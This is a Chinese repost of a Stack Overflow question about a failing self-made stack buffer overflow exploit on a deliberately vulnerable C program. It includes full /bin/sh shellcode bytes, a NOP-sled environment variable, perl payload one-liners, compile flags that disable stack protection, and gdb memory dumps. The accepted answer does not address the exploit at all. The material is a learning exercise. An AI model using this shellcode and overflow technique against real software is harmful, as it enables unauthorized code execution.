c - 简单的缓冲区溢出漏洞利用 shellcode 不起作用

标签 c perl gdb memory-address buffer-overflow

我制作了一个易受攻击的 C 代码并试图利用它,但即使我复制了其他示例,它似乎也不起作用。如果我包含了很多代码,我深表歉意。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hello(char *name){
    char name_buffer[24];

    strcpy(name_buffer, name);
    printf("Hello %s\n", name_buffer);

}

int main(int argc, char **argv){
    hello(argv[1]);
    return 0;
}

这是我执行时显示的内容
perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x00\x00" x 40' | ./a.out
Segmentation fault (core dumped)

输入中的地址是环境变量SHELLCODE的地址
cat shellcode
1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
//shellcode is "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" printed and piped using perl

export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode)

当我在 gdb 中运行程序时:
run $(perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x01\x02" x 30')
// I added "\x01\x02" because if I just put \x00\x00 instead it won't get read due to bash ignoring null bytes. I did this so I can see that the SHELLCODE address is put is correctly put in place of the actual RIP
// break at line of strcpy(name_buffer, name);
i f
Stack level 0, frame at 0x7fffffffdcc0:
 rip = 0x555555554696 in hello (test.c:8); saved rip = 0x5555555546e6
 called by frame at 0x7fffffffdce0
 source language c.
 Arglist at 0x7fffffffdcb0, args: 
    name=0x7fffffffe117 "Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177Z\351\377\377\377\177", <incomplete sequence \351>...
 Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
 Saved registers:
  rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8
(gdb) x/24xg name_buffer
0x7fffffffdc90: 0x0000000000000001  0x000055555555473d
0x7fffffffdca0: 0x00007ffff7de59a0  0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdcd0  0x00005555555546e6
0x7fffffffdcc0: 0x00007fffffffddb8  0x0000000200000000
0x7fffffffdcd0: 0x00005555555546f0  0x00007ffff7a05b97
0x7fffffffdce0: 0x0000000000000002  0x00007fffffffddb8
0x7fffffffdcf0: 0x0000000200008000  0x00005555555546c4
0x7fffffffdd00: 0x0000000000000000  0xb9bb56fbb5ab9e21
0x7fffffffdd10: 0x0000555555554580  0x00007fffffffddb0
0x7fffffffdd20: 0x0000000000000000  0x0000000000000000
0x7fffffffdd30: 0xecee03ae818b9e21  0xecee13118ed59e21
0x7fffffffdd40: 0x00007fff00000000  0x0000000000000000

如您所见,返回地址位于 0x7ffffffffdcb8,即 0x00005555555546e6

继续下去,我们可以看到在0x7fffffffdcb8中成功覆盖到 0x02017ffffffffe95a :
x/24xg name_buffer
0x7fffffffdc90: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdca0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcb0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcc0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcd0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdce0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdcf0: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd00: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd10: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd20: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd30: 0x02017fffffffe95a  0x02017fffffffe95a
0x7fffffffdd40: 0x02017fffffffe95a  0x02017fffffffe95a

我尝试使用仅重复地址一次、两次和随机值的输入,但错误仍然相同。
我使用以下方法编译了 C 代码:
gcc test.c -fno-stack-protector
//and also with
gcc test.c -fno-stack-protector -fno-mudflap

我怀疑问题出在 shellcode 上,因为我只是复制了它。

编辑:我收到一个错误 Program recieved signal SIGILL, Illegal instruction 0x0007fffffffffeaac in ?? () .我认为这是因为我从程序中删除了 suid a.out ,但是当它有suid时,我无法像没有suid时那样找到环境变量,它表明所有地址都为空:
x/32s $rsp + 0x500      // where I normally find SHELLCODE variable
0x00007ffffdea4521: ""  // and the addresses are also very different than without suid
...

最佳答案

您的代码运行良好。由于您使用的是命令行参数,因此您还需要传递输入字符串。 Output Screen Image Link
我就是这样答应的。

gcc filename.c    

这就是我执行的方式。
./a.out AnkitMishra

这是我得到的输出:
Hello AnkitMishra

关于c - 简单的缓冲区溢出漏洞利用 shellcode 不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/61046178/

相关文章:

c - 为什么我的整数菜单有效但我的字符菜单无效?

c - 使用 pthread_create 和 pthread_detach 时出错

c - STM32 HAL SPI 中断处理

c - 炸弹实验室phase_3,不知道如何找到开关 block 的起始地址

c - GDB 输入文件等

c - 作业返回什么?

windows - 有什么方法可以告诉哪些文件在 Windows 系统重新启动时等待删除或重命名?

perl - 脚本崩溃后,如何避免在 Perl 中使用 ophan 监听套接字?

perl - 将socks5代理与Net::SMTP一起使用

c - 从程序内部调用 gdb 来打印其堆栈跟踪的最佳方法?